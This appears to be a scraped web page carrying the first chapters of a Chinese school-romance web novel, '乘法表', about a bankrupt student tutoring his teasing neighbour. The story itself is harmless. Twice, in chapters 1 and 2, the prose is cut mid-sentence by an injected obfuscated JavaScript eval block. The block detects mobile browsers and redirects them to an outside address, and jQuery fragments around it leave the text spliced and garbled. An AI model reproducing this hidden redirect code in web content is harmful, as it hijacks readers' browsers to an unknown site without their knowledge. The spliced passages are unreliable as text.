《乘法表》 1. 恶邻 原晢一脸哀怨地瘫在椅子上,愣愣盯着对面的满墙书架出神。 这屋子的西晒光快把他烤熟了,冷空调一点也不管用,整个客厅闷得像个大蒸笼,时间的每秒流速都在剧烈膨胀着,膨胀着…… 真是个长得令人生厌的夏天。 原晢一下一下地把笔帽往脸上戳,双目呆滞,神情恍惚,瞳孔第一百零八次聚焦失败。 靠? 他维持了整个少年期的良好视力,就,就就就这么没了?这才闷头学了短短一年时间,对面那排书册名竟然全糊成一团,烫金的中英文密密麻麻杂糅在一起,掰都掰不开……应试教育果真害人不浅! “叮!” 身旁的手机响了声短音,倒计时结束。 原晢丢下水笔,踢了踢对面仍在埋头苦干的一头蓝紫混色长毛,抬手就准备抽试卷:“到点了。” “等,等,等等……等一下!” 裘时用力按着自己的皱巴卷子,拼命画完最后一个算式,“等等,马上了!” “驴都磨完了。”原晢抽不出试卷,只能不耐烦地重复:“到,点,了。” “好,好好好,好了!” 裘时终于认命投降,大手一挥把卷子丢出去,抬眼就对上了那张怨气冲天的脸。他眉毛一挑,立刻用桌下的长腿勾住对面人赔笑:“这不是给你了嘛,没超时,别生气呀哥哥。” “无力回天。”原晢扫着到处空白的卷面,一脚把人踹开,侧身从隔壁书架扯出一张花花绿绿的册子,从长桌这端朝那个吊车尾的骚货滑了过去。 “今晚把这张纸背下来,明天下午的数学多少能救点分。”原晢说。 裘时右手一定,挑着眉轻松夹起面前的硬质纸皮,正想对自己七七四十九天来的优秀表现做个收尾,结果他定睛一看,这是……九九乘法表? “哈?”裘时装傻,脸上挂着大大的懵逼:“这什么小学生玩意儿?” “三三得六是谁?”原晢点了点卷子上难得下笔的某段计算过程,摇了摇头,一脸“你完了”的可悲表情看着他。 这大夏天还要穿长袖衫拗造型的垫底瘟神……智商绝对影响后代! 原晢是真没见过这程度的傻缺。 他自小就是校方的重点关注对象,成绩优异,发挥稳定,不管在任何教育体制下都是一等一的绝对佼佼者,人生从未出过任何偏差。 可惜,这个偏差出在了自家产业上。 少年衣食无忧的地球体验家身份直接被召回,一朝醒来荡产倾家,原本在国际学校规划好的人生路径统统失了效,不得不重头开始恶补应试技巧,为明年夏天的大考做足准备。 没人逼他,这是他自己的选择。 只是……没人告诉他转回户籍地备考还要附带抢救智障啊! 真特么后悔! 原晢不禁摇了摇头。 眼前这智障活了十八年,正经书是一点没读进去,乱七八糟的漫画倒摞得老高,每天不是扮演古惑仔和一群小弟高调炸街,就是挨家挨户敲门发放粮油米面保护费…… 没错,人家地头蛇是要收钱的,可他是送钱送礼送人头……果真有钱无脑。 原晢想起家中角落那堆等发霉的绿豆粉丝面条,不由得朝某智障翻了个白眼。 “到今天为止,一共四十九天,补课期间所有的内容都帮你过完了,以后我就不下来了。”原晢冷漠通知着,顺道把一些随手划出来的考试重点转到智障手机上。 而对面的智障还在研究刚刚那张轻飘飘的废纸。 “我靠,又看错了!”智障惊呼。 不错,救不了。 “回去背熟点,国内考试不能用计算器,不然就趁早滚去澳洲找你妈。”原晢收拾着东西说。明天就正式开学了,新学校习惯于开学头天上大考,也不知道这个姓裘的能考多少分。 明明有路可退,他也不知道这人为什么非要留下来受酷刑。 “哇偶,要滚着去。”裘时整个人都毫无坐相地荡在自家木椅上,懒散地玩着长指,语气也跟着委屈起来:“哥哥,你好凶。” “谁是你哥。”原晢说。 “你呀。”裘时认真点头。 “我不是。”原晢说。 “比爷快一秒的都是哥。”裘时笑着抬眼,和原晢稍作对视后便将视线大方往下移,“何况,这位小哥哥,你可快了不止……” 裘时话还没说完,只听到“哐啷”一声,这位脾气愈发暴躁的小哥哥直接卷起家当跑了。 长桌上只剩一张被摊开的乘法表,泛黄的边角被冷空调吹得微微卷起,映衬着他那炉火纯青的瞎写功夫。 真是一点也不禁逗。裘时心想。 这位小哥哥每天都只学习不出门,根本体会不到高温热浪的乐趣,好想把他抱到太阳底下晒黑点,否则总像个奶团子一样可爱,让人忍不住想犯罪。 “啧。” 裘时笑着打了个响指,在屋内残留的一丝同款皂液香中鲤鱼打挺般跳了起来,用大头钉将五颜六色的乘法表封印在毛毡板上,开始认真欣赏起自己保留多年的定情信物。 这个陪读的夏天,真是令人感到幸福。 - 站在破旧狭小的楼道里,原晢恶狠狠地对着水泥地来了几脚,试图把某些坏种摁在平面上摩擦,摩擦。 这位201的住户真是有够骚的。 从他搬来这破楼的第一晚,大包小包的行李不小心弄歪了像垃圾一样被丢在门口的蛋糕后,楼下那位瘟神就没什么好脸,而后更是变着法子磨他的时间。蛋糕赔了,祝福赔了,笑脸赔了,最终还把宝贵的暑假也赔进去了——由于转校手续没办完,不合规的他没法参加八月的官方补课,只能借由楼下有名有姓的垫底骚货“代补”。 作为回报,原晢每天都要下楼免费教学,帮那个姓裘的查漏补缺,答疑解惑。平时只占用晚饭时间,而周末则是整个白天。 可那倒数的成绩到底有什么好学的? 三三得六……到处漏风…… 原晢为数不多的耐性都要被磨完了,那个姓裘的却永远一副笑脸,显得十分努力万分重视,教不会完全是他这个“老师”的责任…… 呵…… 绝对有诈…… 但这并不是目前最让原晢头痛的问题。 整个八月,他都作为旁观者把高考生的苦逼日子隔空体验了一番,也由此对这所即将见面的“省重点”中学毫无期待可言。 师资?看起来没有。 否则楼下那位怎么能学成那样?有点脑子都不至于三三得六/四四十九吧? 活力?是挺有活力的。 别的不说了,就那头毛,都几个色了也能进校?这确定不是什么野鸡高中? 还有,校园环境? “轰隆——轰隆——” 原晢闭眼感受着附近不舍昼夜日日赶工的拆迁大队,这破地可谓是烟尘滚滚,毒气缭绕……这野鸡学校马上就要被强拆了,还谈个屁的环境。 他已经开始厌学了。 原晢感觉自己浑身上下的细胞都要被这深深的窒息感摁死了,每天下楼拿题宛若行尸走肉,而明天……明天才是他正式转校的第一天! 还特么直接上大考! 烦死了!!! “啊啊啊啊啊——”原晢暴躁低吼。 不知道是不是南方夏天过于燥热的问题,他近月来总有点人格变异的趋势。 他以前不这样的。 当然,原晢更愿意把祸因归咎到那个姓裘的身上。 孽债。 原晢才刚打开面前的斑驳铁门,亲妈的视频通话就不定时跳了出来。 “我们原宝吃晚饭了吗?哎哟,这黑眼圈怎么肿成这样了,学习这么辛苦吗哈哈哈……”夏臻把脸怼着屏幕,似乎想离得更近一些,以便观察亲儿子近月来的细微变化。 “呵,呵。”原晢冷笑。 “你前几天是不是又去康养中心看你外婆啦,老太太可高兴了,一高兴就给你妈打钱,喏,转一半给你,咱家现在可全靠夏老师的退休金活了,省着点花哈。”夏臻说。 原晢点了点头,无力应答。 他自小没见过外公,夏臻随母姓,全家都尊称老太太为“夏老师”。 夏老师要求的。 随着一声钱币入账,原晢象征性瞅了一眼手机,真是从未见过的寡淡余额。还越来越少了。 “明天就正式开学了,自己在那边坚强点,就当体验体验新人生嘛,妈可没逼你哈,是你自己要选这条路的嘿嘿……”夏臻笑着,立刻找补道:“老房子的条件是差了点,但临安的天可比北方明朗多了,有空多出门晒晒太阳,除霉运的,过段时间妈就飞回去看你哈。” “没事,住了快俩月了,早习惯了。”原晢闷声回着。 老房子是夏老师留下的教职工房,几十年的房龄了,自然没有电梯这种新时代高级货。 夏老师在十年前摔了一跤后就不得不搬进康养中心长住,没人要的旧房子也因此空置了好些年,除了脏点破点没什么大问题,家具家电都还能用,勉强够格。原晢虽然娇生惯养了十几年,但男子汉大丈夫能伸能屈,这点小挫折都算不上事儿。 就是隔音不咋滴,楼下201产生的噪音总能响到他耳边。 毕竟从小住独栋,原晢还不太习惯邻里共处的谦卑环境。他已经把耳机戴上了,如果以后楼下洗澡再不控制音量放声高歌,他就直接把楼板拆了陪那个姓裘的一起洗。 真是那什么——时运不济,命途多舛。 他前阵子刚背的必考文。 “哎,辛苦我们原宝啦,都是妈妈对不起你……”夏臻故作叹息。 “没什么对不起的,您又没饿着我。”原晢说。 “嘿嘿,吃饭钱咱还是有的,放心放心。你就安心学习,咱原宝这么厉害,什么学校考不上呀,留国内也是重点中的重点。”夏臻高兴地说,“到时候,你去哪儿妈就在哪儿东山再起,分分钟秒杀同行,一点问题都没有!” “行。”原晢拖着懒音道。 夏臻就是这样,明明都火烧眉毛了,明明都跌落深渊了,却永远一副云淡风轻无所畏惧的模样。就算没钱了,情绪价值也很足,仿佛那些破烂事根本不爆在自己身上。 突然想起什么,原晢猛地抬头质问:“妈,您现在住哪儿?” 家里的情况不能更糟了,连他目前栖身的301都经夏老师同意低价卖给亲戚凑数了,新房主下周就会完成过户,还不知道每个月要收他多少房费……那,原先在北方的几处房产…… “啊,这些都是小事,不需要我们原宝操心。”夏臻的语气顿时虚了不少。 “夏总,来,咱起来转一圈。”原晢把手机竖起,等着对面切换镜头。 “别,别转了,这大晚上的多扰民呀。”夏臻心虚道。 “转一圈,转一圈。”原晢绕着指头示意。 夏臻还想找借口,可原晢定睛一瞅,就在画面角落认出了幼时极为熟悉的厂房设施。 少年本就拔凉的心瞬间冻掉了大半。 “哟,不错嘛夏总,人都住进厂里了,深入一线,坐守江山,绝对能起死回生。”原晢模仿着对面人一贯轻松的语气,声音却不自觉哽咽起来。 没钱真是世上最令人绝望的境遇。 “哎呀,这有啥,不准哭啊。”夏臻无奈,只能轻轻地揉了一下手机屏幕,安慰道:“当初我和你爸,啊呸,我和那狗男人北上创业的时候,不就是这么发家的吗,没他,咱的厂子估计还能做更大呢,再不济都不至于烂成今天这样……晦气的狗东西。” “没事啊,原宏涛搞出来的那些烂帐都处理得差不多了,他爱死哪死哪去,咱娘俩好好过就行。” “等这块地的价格谈好,妈就回临安陪你,有点信心,没两年你妈就能东山再起了。”夏臻笑着说:“所以一定要打起精神来!” 原晢点点头,小声道:“谢谢妈妈。” 他其实也没什么大起大落的情绪。 他就是觉得这日子有点穷。 想起楼下大手花钱的模样,原晢心里更酸了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207335|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他不能走。 他得留在国内逮人。 他要亲手把那个赌鬼爹送回催债人手里。 电刑伺候!蘸油火烤!绑小黑屋里听那无穷无尽的撞门声! 操他大爷的! 要不是夏臻找关系顺利拿下了离婚证,过去几年的恐惧真要把人逼出病了。不说别的,就那群从地下钱庄放出来的野狗,天天操着家伙爬他家围墙,整得他现在遇到雷雨天都还会心慌……摊上这种爹真是倒了八辈子血霉! “嘿,不客气我的小祖宗,你就在老房子好好待着,钱的事儿不用操心,有妈在呢。”夏臻说。 “嗯。”原晢点头。 “学习上也不要给自己太大压力,毕竟之前不是一个路子的,才恶补一年就有这个成绩,很不错了,明年六月才考呢,不着急啊。”夏臻说,“知道你是心疼妈才选这条路,但你还记得不,二十岁生日后还有一笔保险金可以领,家里情况没那么糟,后续想出去读也是可以的,别总觉得人生没退路了。” “嗯,知道。”原晢说。 “那别垮着个脸呗,小时候白得像个发光的小元宝,多可爱啊!”夏臻笑道:“再看看现在,好运都被你给吓跑了,学学楼下小裘嘛,你看那孩子,每天笑得多开心。” “……”原晢无奈撇嘴。 如果他智障,他也开心。 “我拿楼下那个分您开心不?”原晢问。 “开心,只要原宝开心,妈就开心。”夏臻说。 “……以后别随随便便就把我卖了。”原晢不满道:“天天被迫下楼念经,今天念了一整天也不见个响,累都累死了。” “哎哟哟,辛苦我们原宝了。但小裘每天从学校给你带题回来,我们也要帮帮人家嘛,毕竟咱家都搬出去好多年了,这附近也不认识谁,日后有什么事情都要麻烦周边邻居呢,这关系还是要维系一下。” 夏臻笑着望向自己惯出来的轴少年,无奈劝说:“小裘是个好孩子,虽然成绩差了点,但他是真孝顺,楼下杨奶奶病了多久,他就照顾了多久,一点都不怠慢的。现在人都已经离世一年多了,他还总顺道去看你外婆呢,每次都带一堆新鲜玩意儿,夏老师可喜欢他了。” 原晢的外婆和楼下杨奶奶都是二中的老教师,201的故事他多少也从长辈口中听过。 杨奶奶丈夫早逝,膝下无子,一直独自生活在老房子里。或许是日子太过冷清,退休后她便把老房子改造成一间免费画室,继续以美术教师的身份帮助有绘画天赋的孩子,期间偶尔也帮忙照看附近中小学的走读生,管吃管住的,非常热闹。 裘时就是那时候被托管的。 听说他还没正式念小学就搬进了201,是唯一的长住客,当然也直接长成了亲孙子。 “还有个事儿,老太太不提我都忘了,哎哟,这一晃都好多年了。”夏臻一脸看戏的得意表情,声调也高了不少:“你俩之前还有过娃娃亲呢!” “谁俩?”原晢问。 “你和小裘呀,名字都是同个算命先生算的,就在街心花园拐角那块。”夏臻将故事娓娓道来:“晢明耀日,熠熠其时。” “你就是那个‘晢’,他就是那个‘时’,天生一对,百般相配。” 原晢:“???” “那年雨水特别多,那个算卦的老骗子给所有小孩赏的字里都带了‘日’,笑死人了,还不如你娘亲自己回家翻字典。”夏臻乐道:“为了抢那个开过光的‘晢’字符,我们迷信的夏老师现场和人竞价,闹得沸沸扬扬的,也不知怎的,那卦算着算着,最后连娃娃亲都攀上了。” “老太太特想有个孙女,天天求神拜佛的,咱家备的小衣服也全是粉色,就等着你出来呢。” “结果你还比小裘早几天。”夏臻的笑容毫不遮掩:“嘿,竟然两个都是男宝!” 原晢:“……” 娃娃亲?什么娃娃亲?这特么都什么封建糟粕? 他人都不存在,连个生辰八字都没有,那老头算的啥啊这是……纯纯骗钱。 夏臻突然“啧”了两声,脸上的坏笑根本遮不住,她压低声音道:“妈和你说哈,小裘家里可有钱了,他妈妈在澳洲做生意的,那跨国业务,可比咱家的小破厂厉害多了,你如果能把他顺利拿下……” “……”原晢朝屏幕那头翻了个大白眼。 “不用担心你妈,你妈接受能力特强,男男女女无所谓,真爱无敌!”夏臻挑着眉逗崽,越说越兴奋:“以前家里有钱的时候,叫你拐个小姑娘回来,说多久了都没影,感情我搞错了哈?对对,对对对,你还记得不?也不知道是被谁唬的,有段时间总嚷嚷着长大以后要当0,见谁都要说一遍,0最牛逼,0最无敌,救都救不回来,我这儿还有录像呢,好玩极了!” “……绝对不是我。”原晢严肃否认。 “呀,别害羞嘛,妈看小裘就不错,长胳膊长腿的,生得多俊俏呀,比你壮实不少呢,这种漂亮崽崽不管在哪个年代都是抢手货,你可要好好珍惜啊!”夏臻呵呵笑着发起了连环炮:“你看,他明明不爱学习,还每天给你带卷子回来,一科不落地陪着你写,多认真啊!” “还有啊,小裘脾气是真的好,上回搬家不小心把他门前的蛋糕撞坏了都没计较,那可是他的十八岁生日,你赔得太少了吧,至少再好好请人吃顿饭啊,得吃顿好的才行,懂点礼数嘛!” “妈和你说哦,国内高三生的压力可不小,你这每天只会学习不行的,精神容易崩溃的,你看,你现在都不会笑了!” “这么好看一张小白脸,有空谈个恋爱多好啊,当初放你去国际学校就想让你自由生长,哎,这都熬到成年了,啥也没长出来!” “娃娃亲也是可惜了,裘家老人走得早,咱家又没生女儿,后来慢慢地就没联系了,估计小裘还不知道这事儿咧,你找机会和他说一声呗?努力一下,别让这门亲事吹了……喂喂,你还在听吗?” “……” 原晢追忆着自己只有一碗清汤挂面的成人礼,不忘认真回应视频对面的老母亲:“聋了。” 2. 共枕 考了一整天试,原晢脑子都懵了。 他昨晚没睡好,乱七八糟做了一堆衰梦,前一秒人还好好地走在路上,下一秒婚礼进行曲就响彻云霄,然后就被乘法表砸,被计算器砸,被某瘟神砸……醒来的时候出了一身冷汗,还差点错过了考试时间。 果然早起毁一天。 现在夕阳都跑走了他人还没醒。 原晢算是知道自己有多倒霉了。 这学校是省重点没错,但不是一般的省重点,是省-历史残骸-时代遗迹-歪瓜裂枣集合地-重点……这地方烂到根本没几个学生啊! 望着眼前漆黑一片的空荡校园,原晢不禁倒吸一口凉气,撒腿就往家的方向跑。 这所图文不符的重点中学早在市东郊建了新校区,地广人稀,物资充足,环境极佳,备受适龄学子追捧。 但历年分数线也比老校区高出整整一截。 因此多数踩线的考生会采取迂回战术,在升学时先用老校区保底,再想办法在高三前转过去,曲线救国,屡试不爽。 可惜这个漏洞马上就要被堵死了。 他们是老校区的最后一届学生。当然,也是最倒霉的一届。 没有学弟学妹可供调戏不说,就连食堂阿姨也被集体打包搬到新校区去了,本部仅剩的在校生只能苦哈哈去隔壁医院蹭饭。 年级人数缩减之快更是异于过往。 听说他们高一入校时还能凑出满满8个班,现在东补西拆也只剩3个了,甚至演化成了“小班教学型”,每个教室平均三十人左右,空间富足,绝对360度无死角照看到位。 而原晢这种难得一见的入学苗子,又挂着点老教师的亲缘关系,只要智商没问题,自然能被校方高兴收编——根本用不着看成绩。 少年的心越来越凉。 整个本部校区寂寥凄清,周边又是大片旧改区域,晚自习后的放学路像极了荒野探险,夜风一吹他就要抖三抖,只能一路闭眼跑回家。 法克!锻炼的时间也省了! 原晢啃着路上捎来的地摊饼,在书桌前摆开今晚的复习资料,再勉强摁下对话列表中突然冒出的一连串骚扰信息。 家里破产后他也没留下什么旧朋友,初来乍到更不认识几个新同学,不用想就知道是楼下瘟神在叨叨。 裘时:考得怎么样呀,哥哥? 裘时:(你好.jpg) 裘时:你今天不下来学习了吗? 裘时:(期待.jpg) 裘时:我还有问题没解决呢! 裘时:(乖巧.jpg) 裘时:你都答应要好好教我了,不能中途放弃了呀! 裘时:哥哥? 裘时:哥~哥~ 裘时:哥哥你不要我了吗! 裘时:(流泪.jpg) 裘时:(暴哭.jpg) 裘时:(可怜兮兮.jpg) 原晢瞟了眼着手边的台历,6月30日与7月11日,时差不过小半月,他魂还没入体这人就出来了,到底要装什么嫩…… 屏幕上的新消息依旧不断往外冒,输入框里“闭嘴”两个字还没发送,原晢就被眼前极速闪过的黑团夺去了视线。 他被硬控整整十秒,随即直接叫破嗓: “啊啊啊啊啊啊啊——” - 裘时刚出浴室就听到了楼上传出的接连惨叫,而后是一阵又一阵猛烈撞击。叫一声,捶一次,叫一声,捶一次。往复循环。 脆弱的楼板也被迫跟着颤抖。 几分钟后,楼上那位新搬来的小哥哥怒吼着拍上门,一个箭步就冲出了单元楼。 急促的脚步声消失没多久,又迅速折了回去,杀虫剂的味道立刻从阳台上方飘了下来。 令人窒息的浓度。 裘时正准备逮住机会对这位新来的邻居回礼讨伐,自家门外就多了一阵窸窸窣窣的脚步声,左移一小步,右移一小步,偷感很重。 一直没得到回应的对话框也终于有了动静。 原晢:你在家吗? 下一秒,对方撤回了一条消息。 原晢:那什么…… 下一秒,对方撤回了一条消息。 原晢:今晚能住你家吗? 下一秒,对方撤回了一条消息。 裘时看着屏幕上方不断闪现的“正在输入中”,压不住的嘴角也越扯越高。 原晢:这附近没酒店,明早又要考试,500块收留一晚行不行? 下一秒,对方撤回了一条消息。 原晢:江湖救急,100块收留一晚行不行? 下一秒,对方撤回了一条消息。 门外安静了几秒,突然一狠心一跺脚,忍痛割爱的连环消息终于得以呈现。 原晢:楼上全是大强,喷药了住不了人,能不能收留一晚? 原晢:不白住,给你50行不行? 原晢:(转账50元) 转账被秒收了。 “我,睡,客厅,就可以……”原晢低声念着,刚打完的字还没来得及发送,面前那扇和301同样斑驳的大门瞬间就裂开了。 对面人一脸“你也有今天”的得意样把他请进了屋。 “我睡客厅就行。”原晢指着手机重复了一遍。 “那怎么好意思呢,哥哥。”裘时得逞似的一把抓住他的手腕,带上门就把人往里屋送。 “客厅。”原晢坚持。 “我都收钱了,哥哥。”裘时说,“当然要物超所值。” “客厅!”原晢重复。 “晚上会着凉的,哥哥。”裘时坏笑着推人,三两步就把原晢逼到了卧室门口,“别担心,我们可以一起睡,床上特别舒服。” “客!厅!”原晢抱着紧急收纳的一袋子必需品强行定在门边,绝不踏进卧室半步,生怕自己这小身子骨半夜被人一口闷。 “我要睡客厅!!!” “不然你给我退钱!!!” - 自从假期被匹配给楼下消耗后,这间老屋子原晢几乎天天来。 全单元楼都是常规布局的三室一厅,但由于201打通了书房和客厅,整体空间变得大气不少。其余卧室一间留着杨奶奶的生前物件,另一间则被某个亲孙子占着,原晢不想羊入虎口,只能窝在客厅角落凑合一晚。 可他进屋后才想起来…… 这房子…… 根本没沙发…… “靠。” 屋子依旧维持着画室的过往布局,客厅里除了一张木质长桌和标配的笨重大椅子外,只剩两侧整齐排列的书架在静默中向他招手致意。 呵,人生没有回头路。 原晢盯着那张与墙纸风格完全不搭的乘法表低低骂了一声,全程无视某人的挤眉弄眼,先把学到吐的长桌移到一旁,又从书架上挑了几本厚重的词典当枕头,准备拼个椅子床将就一晚。 这50块花得真特么值! 付了一笔巨款,他当然要在201冲个澡。 原晢闻了闻身上的杀虫剂浓度,拿起换洗衣物就冲进浴室,关门前不忘给跟屁的某人来个眼神警告——滚! 裘时委屈巴巴看着他,没有说话。 原晢一掌就把门拍上了。 他现在有点怀疑家里的大强都是这人投放的!目的就是为了把他怼下来!否则过去俩月怎么连影子都没见过!!! 等原晢擦着湿发从浴室出来,屋子里寂静一片。裘时已经听话地滚回卧室了。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207336|165795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个姓裘的就这样睡下了? 今晚这么安分?? 有点意外啊! 卧室门缝毫不透光,里面的人似乎已经正式熄灯就寝,一点杂音都没有。 原晢轻轻松了口气,心想或许是自己多虑了。 都是男的,裘时难道还真对他有兴趣不成?有些人只是天性热情自来熟,不像他,对人事物总提不起什么太大的兴致,这也可以那也无所谓,总被亲妈抱怨有一种淡淡的死感…… 都怪夏总昨天没事念叨什么娃娃亲,吓得他梦里都是婚礼进行曲,每次凑近楼下就会感到莫名惊慌…… 还谈个恋爱?就这生存环境,每晚都有一屋子大强等着他谈! 原晢顺手研究起如何根除大强。 明天还要早起考试,都这个点了,他实在没心力再上楼收拾战场,也不知道那些巴掌大的强子死透与否,竟然还会飞……真是绝了! 原晢不由得打了个寒战。 都说这玩意儿一生能生一窝,明天他还是要找个灭虫公司做一次彻底绞杀才放心,太瘆人了…… 以前也不是没见过,但南方的基因变异超大种也太恐怖了,那吃了膨胀剂的鬼东西根本就不配叫“小强”…… 吓得他现在根本不敢回屋…… 原晢在黑暗中屏息数秒,双腿一蹬准备入睡,又突然想起昨天被告知的娃娃亲事件来。 去和里面那个人挤一张床,科学么? 两个大男人凑合一晚,应该不碍什么事儿吧? 用椅子当床实在有点寒碜啊,要不还是去问……啊呸! 呸! 原晢晃了晃脑子,试图摆脱这些心存侥幸的,不切实际的想法——以前坐在桌子两端都要被戏弄,一个不留神鞋子就会莫名失踪,他要是主动爬上那骚货的床…… 不行不行不行! 安全第一!安全第一!安全第一! 原晢默念着,随即在硬邦邦的椅子床上翻了个身。 “吱——吱呀——” “……” 这特么几个脚还不平吗?! 他不死心,又从那面翻了回来。 “吱呀——呀——” 靠,调子还不一样…… 原晢直接“噔”地一声坐起来,在黑暗中摆正姿态放空冥想,准备试试今早刷到的失眠入睡小妙招。 而后是越想越气,越想越气。 呵,他锦衣玉食的人生像极了消消乐小游戏,消哇消,消哇消,被一只无形的大手来回揉搓,最后磨得连渣都不剩。 到底是从哪一刻开始失控的? 从偶然撞破父亲的外遇开始,从突然有债主拿棍上门问候开始,还是从必然增多的法院传票开始? 他应该早点发现的。 夏总给的零花钱早就开始打折扣了,但凡他那时候有所顾忌,少去几趟展,少请几顿饭,现在也不至于落得如此下场…… 原晢越想越丧,烦躁地踢了一下脚边的椅子,倒头就撞上了叠加的厚重词典。 “嗷……呜,痛死了!” 黑暗中的撞击惹出了不少难捱的疼痛反应,少年低声怒骂着,终是忍不住红了眼眶。 不能出声。 不能被那个姓裘的发现了。 丢人。 一定要忍住。 憋回去,赶紧憋回去。 原晢死死攥着上衣一角,胳膊肘抵住眼角不断溢出的热意,用毕生累积的脏话在心里问候了命运全家。 疼痛劲儿还没彻底缓过来,里屋的门就被人打开了。 一束暖光照在东拼西凑的椅子床上。 原晢正准备装睡,却听见身后人满嘴无辜地说:“哥哥,真不一起睡么?” “我很乖的。” 3. 示众 夏天马上就要滚进九月了,还是一点凉意都没有,原晢经常会被外婆家年久失修的老空调热醒。 这晚却不一样。 他第一次睡得如此踏实。 室温刚好,床垫柔软,怀里抱着的东西也比他走太急忘带的陪床玩偶好用上百倍,温热舒适,Q弹顺滑,捏一捏就感觉超舒服……这到底是个什么玩意儿? 原晢低喃着扯开一条眼缝,就看到被自己双手捆住的人正满脸傲娇地望向他:“哥哥,舒服么?” “唔,不好意思……” 原晢脑袋一歪,整个人淡定地从这位新床伴身上掉了下去,不忘自动外挪两步保持距离。 “时间还早,可以多抱会儿。”他听见那人说。 “滚。” “都给过钱了,不摸白不摸呀,哥哥。” “滚!” 原晢一脚就把他的新床伴踹下了床。 那个姓裘的也没计较,笑嘻嘻地从地上爬起来,把身上沾满口水的棉质长T脱到脏衣篮里,拿起一旁的换洗衣物就出了房间。 装睡却留了条眼缝的原某:“……” 靠,这人竟然有胸肌…… 他好像还隐约看到了几处红色抓痕…… 听着浴室哗啦啦的水流声,原晢朝天花板反复掐捏几根手指,试图回忆半梦半醒中从布料底下偷来的温热触感。 男人的胜负欲就这样不知死活地冒了出来。 而后原某按了按皮包骨的自己……哎,不怪他懒,是真的穷到吃不起肉了。 原晢四仰八叉地赖在散发楠木清香的大床上,视线对着柜子边的白色玩偶猫不断失焦,眼皮终于是缓缓合上了。 不知过了多久,梦里那阵悠扬的婚礼进行曲突然变得清晰起来。 原晢感受到一股强烈的冲击由远及近,那是人类最原始,最直接,最高效的危险警报……他一个激灵睁开眼,直接就怼上了一头湿漉漉的蓝紫杂毛。 “哥哥,到你了。” 裘时拿过枕边的手机,把刚刚到点的闹钟顺利掐掉,不忘主动帮睡到迷糊的新床伴掀被子醒神:“早呀,罚站的小哥哥。” 原晢懵了几秒,随后一个瞳孔大地震把被子重新抢了回来。 靠!!! 死变态!!! 谁特么拿婚礼进行曲当闹钟啊!!! - 又一天大考结束。 稀稀拉拉的人群缓慢离开作为考场的实验楼,清冷多时的校园终于勉强恢复半格活力。 原晢还没完全从清晨的震惊中醒来,一路上哈欠连天,直接和新班主任在校道上迎面相撞。 “哎哟,原晢同学是吧,来来来,先跟我来趟办公室。” “侯……侯老师好?” 侯业,3班班主任,人称“侯爷”,退休返聘教师,教数学的。 因老校区人手不足,爱岗敬业的侯老师主动要求重返讲台,和其余老同事固执地坚守本部阵地,力挽狂澜抢救着这片贫瘠土壤中仅剩的祖国花朵。 刚到临安那晚,夏臻就带原晢去隔壁家属楼拜访过这位侯老师。 楼下瘟神的线也是那时候搭上的。 “哎,你妈妈也真是的,当年怎么不把户口一起转过去,竟然还要大老远跑回来参加高考,这边的录取水准可比不上外面啊,分数高名额少,难度大多啦。” 这位满脸慈爱的小老头从成堆的教案中扒拉出一张凳子递给原晢,和善道:“这几天市里有教研会,我也是才到校,还没来得及好好和你聊聊,这两天在学校感觉怎么样?” “哟,侯老师,这位就是新同学啊?”隔壁桌的老师刚结束监考回来,看到生脸免不得乐了一下:“真叫人羡慕啊,怎么就放进3班了呢,您看看我们班的人头,那真是越来越少,放学后都凑不够一场球咯。” “去去去,年级垫底的也都在3班,怎么就没人想着帮忙管管,可真愁死我了这一天天的。” 侯业哀叹着,转头继续和原晢说:“补课期间的资料小裘都给你带回去了吗?有没有少什么?那小子虽然看着不靠谱吧,有时候还真不靠谱!” 原晢点头:“都有了。” “都有了就好,有了就好。”侯业喝了一口养生茶,继续悉心关切道:“那小子真开始学习了?他没影响你复习吧?以前不见他努力,明年春节就出去了,现在倒是想起来自己是个学生,竟然还开始交作业了,嘿,真稀奇。” 原晢继续点头:“……”果真稀奇! 候业叹了口气,又喝了口茶说:“天天顶着一头杂毛混,也不知道在闹哪出,你别给他浪费时间了,这货又不高考,出国手续都快办完了,不要被他带偏才好。” 原晢苦笑道:“没事的老师,我可以当复习……” “好孩子,好孩子啊。”侯业轻拍了一下少年的肩,把几本特意选出来的复习资料递过去,继续盘问:“老师看过你的入学测试,完全超过了火箭班的选拔标准,是不想住校才没考虑去新校区吗?也好,这边的均分虽不如新校区高,但好几个垫底的都被家里安排出去了,平时也还算安分,不会影响班里的课堂氛围,就缺点作业而已,我已经看开了。” 原晢突然一顿:“……”别啊,老师您管管那个姓裘的杂毛吧! “我是年纪大咯,有时候都镇不住那群猴儿。”侯业试图给新同学送一颗定心丸,愉快地转了个调:“好在你们也是最后一届学生了,附近的网吧酒吧溜冰场全都关门大吉了,没什么扰乱军心的活动,剩几个闹腾的也扑不起什么大浪,你自学能力又强,回这里备考也是个不错的选择。” “没问题,就在这安心学,明年六月一定出成绩!”侯业说。 原晢将信将疑,缓缓点头:“谢,谢谢老师……” “那今天先这样?后面的安排,等这次考试结果出来我们再一起研究研究,不着急。”侯业看着手边的一堆杂事,不好意思地问原晢:“你还回教室不?上楼的话顺便帮我把班长叫下来,年轻人精力旺啊,一堆空教室不用,偏偏要选爬楼的位置,每天都要累死我这老骨头!” 